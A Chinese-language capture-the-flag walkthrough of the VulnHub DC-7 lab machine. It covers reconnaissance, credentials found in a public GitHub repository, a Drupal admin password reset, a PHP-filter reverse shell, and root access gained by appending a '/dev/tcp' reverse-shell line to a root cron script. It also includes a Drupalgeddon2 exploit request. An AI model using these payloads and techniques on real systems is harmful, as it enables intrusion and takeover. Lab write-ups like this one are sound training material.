

靶机地址: <https://www.vulnhub.com/entry/dc-7,356/>

信息收集

```
nmap -sn 192.168.56.0/24
```

```
root@kali:~# nmap -sn 192.168.56.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-29 21:23 EST
Nmap scan report for 192.168.56.1
Host is up (0.00020s latency).
MAC Address: 0A:00:27:00:00:0D (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00014s latency).
MAC Address: 08:00:27:1E:20:45 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.111
Host is up (0.00018s latency).
MAC Address: 08:00:27:6B:76:E4 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 6.51 seconds
```

端口扫描

```
nmap -sS -sV -T5 -A -p- 192.168.56.111
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
|_ ssh-hostkey:
|   2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
|   256  d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
|_  256  a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)
80/tcp    open  ssl/http Apache/2.4.25 (Debian)
|_ http-generator: Drupal 8 (https://www.drupal.org)
|_ http-robots.txt: 22 disallowed entries (15 shown)
|   /core/ /profiles/ /README.txt /web.config /admin/
|   /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
|   /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_ /index.php/comment/reply/
|_ http-server-header: Apache/2.4.25 (Debian)
|_ http-title: Welcome to DC-7 | D7
MAC Address: 08:00:27:6B:76:E4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

目录枚举

```
gobuster dir -u http://192.168.56.111 -w
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-
directories.txt -x .php, .txt, .html
```

```
=====
/modules (Status: 301)
/admin (Status: 403)
/search (Status: 302)
/user (Status: 302)
/themes (Status: 301)
/profiles (Status: 301)
/sites (Status: 301)
/install.php (Status: 301)
/node (Status: 200)
/Admin (Status: 403)
/Search (Status: 302)
/core (Status: 301)
/index.php (Status: 200)
/update.php (Status: 403)
/User (Status: 302)
/ADMIN (Status: 403)
/Template (Status: 403)
/README.txt (Status: 200)
/vendor (Status: 403)
/robots.txt (Status: 200)
/INSTALL.txt (Status: 200)
/batch (Status: 403)
/Update.php (Status: 403)
Progress: 2435 / 62276 (3.91%)^C
[!] Keyboard interrupt detected, terminating.
=====
```

斗鱼 - 每个人的直播...

192.168.56.111

Wappalyzer

内容管理系统 (CMS)	编程语言
Drupal 8	PHP
Web 服务器	操作系统
Apache 2.4.25	Debian

Welcome to DC-7

DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. :-

While this challenge isn't all that technical, if you need to resort to brute forcing or a d probably won't succeed.

What you will have to do, is to think "outside" the box.

Way "outside" the box. :-)

搜索有没有相关漏洞

```
root@kali:~# searchsploit drupal 8
```

Exploit Title	Path
	(/usr/share/exploitdb/)
Drupal 4.0 - News Message HTML Injection	exploits/php/webapps/21863.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection	exploits/php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution	exploits/php/webapps/1821.php
Drupal 5.21/6.16 - Denial of Service	exploits/php/dos/10826.sh
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)	exploits/php/webapps/34984.py
Drupal 7.12 - Multiple Vulnerabilities	exploits/php/webapps/18564.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)	exploits/php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)	exploits/php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution	exploits/php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)	exploits/php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)	exploits/php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)	exploits/php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution	exploits/php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution	exploits/php/webapps/46459.py
Drupal Module CKEditor 3.0 < 3.6.2 - Persistent EventHandler Cross-Site Scripting	exploits/php/webapps/18389.txt
Drupal Module Sections - Cross-Site Scripting	exploits/php/webapps/10485.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure	exploits/php/webapps/44501.txt

```
Shellcodes: No Result
```

先打一下试试

```
root@kali:~# cd /usr/share/exploitdb/
root@kali:/usr/share/exploitdb# python3 exploits/php/webapps/44448.py
#####
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RichterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
#####
Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://192.168.56.111/
Not exploitable
```

github上应该有这个cms漏洞的扫描器

<https://github.com/droope/droopescan>

```
droopescan scan drupal -u http://192.168.56.111/ -t 32
```

```
root@kali:~/tools/droopescan# ./droopescan scan drupal -u http://192.168.56.111/ -t 32
[+] Themes found:
    startupgrowth_lite http://192.168.56.111/themes/startupgrowth_lite/
    http://192.168.56.111/themes/startupgrowth_lite/LICENSE.txt

[+] Possible interesting urls found:
    Default admin - http://192.168.56.111/user/login

[+] Possible version(s):
    8.7.0
    8.7.0-alpha1
    8.7.0-alpha2
    8.7.0-beta1
    8.7.0-beta2
    8.7.0-rc1
    8.7.1
    8.7.2
    8.7.3

[+] No plugins found.

[+] Scan finished (0:03:04.105961 elapsed)
```

默认账户admin，但是没密码。。

靶机提示：

While this isn't an overly technical challenge, it isn't exactly easy.

While it's kind of a logical progression from an earlier DC release (I won't tell you there are some new concepts involved, but you will need to figure those out for yourself). If you need to resort to brute forcing or dictionary attacks, you probably won't succeed. What you will need to do, is to think "outside" of the box.



DC-7是另一个故意建立了脆弱的实验室,目的是在渗透测试的世界里获得经验。

虽然这不是一个过度的技术挑战,但这并不容易。

虽然这是一种从早期的DC版本(我不会告诉你哪一个)的逻辑进程,但有一些新的概念,已经弄清楚。如果你需要诉诸暴力强迫或字典攻击,你可能不会成功。

你需要做的是考虑盒子外的“外面”。

盒子外面“外面”。:-:-

这个挑战的最终目标是得到根,并读取唯一的标志。

Linux技能和熟悉Linux命令行是必须的,因为一些具有基本渗透测试工具的经验。

对于初学者来说,谷歌可以得到很大的帮助,但你总是可以在@DCAU7上推我,帮助你重

发现靶机最下面有一个@DC7USER, google搜索



@DC7USER

全部 地图 图片 视频 新闻 更多

获得 10 条结果 (用时 0.23 秒)

[twitter.com › dc7user](#) [翻译此页](#)

DC7-User (@Dc7User) | Twitter

The latest Tweets from DC7-User (@Dc7User). This is a Twitter Account for the I There isn't really a lot here. Your Computer.

[github.com › Dc7User](#) [翻译此页](#)




Dc7User · GitHub


Dc7User. Dc7User has one repository available. Follow their code on GitHub.

[github.com › Dc7User › staffdb](#) [翻译此页](#)

Dc7User/staffdb - GitHub

Contribute to Dc7User/staffdb development by creating an account on GitHub.

 search.php	Add files via upload
 session.php	Add files via upload
 welcome.php	Add files via upload

 [README.md](#)

staffdb

This is some "code" (yes, it's not the greatest code, but that wasn't the point) for the DC-7 challenge.

This isn't a flag, btw, but if you have made it here, well done anyway. :-)

Branch: master ▾ [staffdb](#) / [config.php](#)

Dc7User Add files via upload

1 contributor

7 lines (7 sloc) | 184 Bytes

```
1  <?php
2      $servername = "localhost";
3      $username = "dc7user";
4      $password = "MdR3x0gB7#dW";
5      $dbname = "Staff";
6      $conn = mysqli_connect($servername, $username, $password, $dbname);
7  ?>
```

ssh登录成功

提权

获取shell之后要做的第一件事是使用Python获取一个tty，不然有些命令是无法执行的。

```
python -c 'import pty; pty.spawn("/bin/bash")'
# 有些没有安装Python2，所以需要换成python3 -c
```

```
查找sudo权限命令
sudo -l
#SUID权限可执行文件，没有可用的
find / -perm -u=s -type f 2>/dev/null
#当前用户可写文件，发现一堆，但是极大多数都是没用的，所以我先把结果输出到文本
文件，然后使用grep加上关键字去筛选。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt
#查看计划任务
cat /etc/crontab
#查看邮件
cd /var/mail/
ls
```

```
permitted by applicable law.
You have new mail.
Last login: Fri Aug 30 03:10:09 2019 from 192.168.0.100
dc7user@dc-7:~$ sudo -l
-bash: sudo: command not found
dc7user@dc-7:~$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/ping
/bin/umount
/bin/mount
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
dc7user@dc-7:~$
```

exim4无法提权

```
dc7user@dc-7:~$ cd /var/
You have new mail in /var/mail/dc7user
```

```

X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <Eliwzq0-0000FH-HI@dc-7>
Date: Thu, 30 Jan 2020 12:45:48 +1000

Database dump saved to /home/dc7user/backups/website.sql [success]

From root@dc-7 Thu Jan 30 13:01:17 2020
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 30 Jan 2020 13:01:17 +1000
Received: from root by dc-7 with local (Exim 4.89)
      (envelope-from <root@dc-7>)
      id 1ix04z-0000Iu-Ca
      for root@dc-7; Thu, 30 Jan 2020 13:01:17 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1ix04z-0000Iu-Ca@dc-7>
Date: Thu, 30 Jan 2020 13:01:17 +1000

Database dump saved to /home/dc7user/backups/website.sql [success]

```

查看这个sh修改权限

```

dc7user@dc-7:/var/mail$ cd /opt/scripts/
dc7user@dc-7:/opt/scripts$ ls -la
total 12
drwxr-xr-x 2 root www-data 4096 Aug 29 23:02 .
drwxr-xr-x 3 root root 4096 Aug 29 13:59 ..
-rwxrwxr-x 1 root www-data 520 Aug 29 23:02 backups.sh
dc7user@dc-7:/opt/scripts$

```

```

dc7user@dc-7:/opt/scripts$ cat backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

```

drush

Drush

A command line shell for Drupal. **Drush**. Features Install Github Docs API. Features You'll Love.

01. Designed ... **Drush** 9. 01. Generators. Quickly build a Drupal ...

[Install](#) · [Drush docs](#) · [Command Authoring](#) · [New API docs site](#)

gpg

GPG - 维基教科书，自由的教学读本

GnuPG (GNU Privacy Guard, **GPG**) 是一种加密软件，它是PGP加密软件的满足GPL协议的替代物。GnuPG依照由IETF制定的en:OpenPGP技术标准设计。GnuPG是 ...

下面的命令可以重置密码


```
drush user-password admin --password="newpassword"
```

```
dc7user@dc-7:/var/www/html$ ls
autoload.php  composer.lock  example.gitignore  INSTALL.txt  modules  README.txt  sites  update.php  web.config
composer.json  core          index.php          LICENSE.txt  profiles  robots.txt  themes  vendor
dc7user@dc-7:/var/www/html$ drush user-password admin --password="newpassword"
Changed password for admin
dc7user@dc-7:/var/www/html$
```

成功登录

想办法getshell

用之前vulhub复现过的漏洞试试

<https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2018-7600/README.zh-cn.md>

```
POST
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.56.111
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

HTTP/1.1 403 Forbidden
Date: Thu, 30 Jan 2020 11:10:25 GMT
Server: Apache/2.4.25 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Vary:
X-Generator: Drupal 8 (https://www.drupal.org)
Content-Length: 14
Connection: close
Content-Type: application/json

{"message":""}
```

<https://www.sevenlayers.com/index.php/164-drupal-to-reverse-shell>

需要手动安装php模块

Download & Extend

[Drupal Core](#) [Distributions](#) [Modules](#) [Themes](#)

PHP

[View](#) [Version control](#) [Automated testing](#)

By [RobLoach](#) on 14 June 2012, updated 16 June 2018

This project is not covered by Drupal's [security advisory policy](#).

The PHP Filter module adds a PHP filter to your site, for use with [text formats](#).

Warning

Enabling this module can cause security and performance issues as it allows users to execute PHP code on your site. There are better alternatives out there that do not expose such vulnerabilities on your site.



Related

- [#1203886: Remove the PHP module from Drupal core](#)

Upload a module or theme archive to install

For example: *name.tar.gz* from your local computer

启用php模块

☒ **PHP Filter** ▶ Allows embedded PHP code/snippets to be evaluated. Enabling this can

```
root@kali:~# nc -lvvp 1234
listening on [any] 1234 ...
192.168.56.111: inverse host lookup failed: Unknown host
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.111] 44514
bash: cannot set terminal process group (438): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dc-7:/var/www/html$
```

```
~[[B^[[B^[[B^[[B^[[Bi^H^[[3~^[[3~^[^^[  
rm /home/dc7user/backups/*  
cd /var/www/html/  
drush sql-dump --result-file=/home/dc7user/backups/website.sql  
cd ..  
tar -czf /home/dc7user/backups/website.tar.gz html/  
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/  
dc7user/backups/website.sql  
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/  
dc7user/backups/website.tar.gz  
chown dc7user:dc7user /home/dc7user/backups/*  
rm /home/dc7user/backups/website.sql  
rm /home/dc7user/backups/website.tar.gz  
~  
~  
~  
~  
~  
~  
~  
~  
~/opt/scripts/backups.sh" 11 lines, 520 characters
```

这个shell太难受了，vi操作几乎无法完成，利用echo追加即可

```
echo "bash -i >& /dev/tcp/192.168.56.101/1233
0>&1">>/opt/scripts/backups.sh
```

```
root@kali:~# nc -lvvp 1233
listening on [any] 1233 ...
192.168.56.111: inverse host lookup failed: Unknown host
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.111] 41196
bash: cannot set terminal process group (1070): Inappropriate ioctl for device
bash: no job control in this shell
root@dc-7:/var/www# ls
ls
html
root@dc-7:/var/www# cd /root
cd /root
root@dc-7:~# ls
ls
theflag.txt
root@dc-7:~# cat t      ^H
cat theflag.txt

888      888      888 888      8888888b.      888 888 888 888
888  o  888      888 888      888  "Y88b      888 888 888 888
888  d8b 888      888 888      888  888      888 888 888 888
888 d888b 888  .d88b. 888 888      888  888  .d88b. 888888b.  .d88b. 888 888 888 888
888d888888b888 d8P  Y8b 888 888      888  888 d88"88b 888 "88b d8P  Y8b 888 888 888 888
888888P Y88888 888888888 888 888      888  888 888 888 888 888 888888888 Y8P Y8P Y8P Y8P
```

参考链接：

https://blog.csdn.net/weixin_44214107/article/details/101123371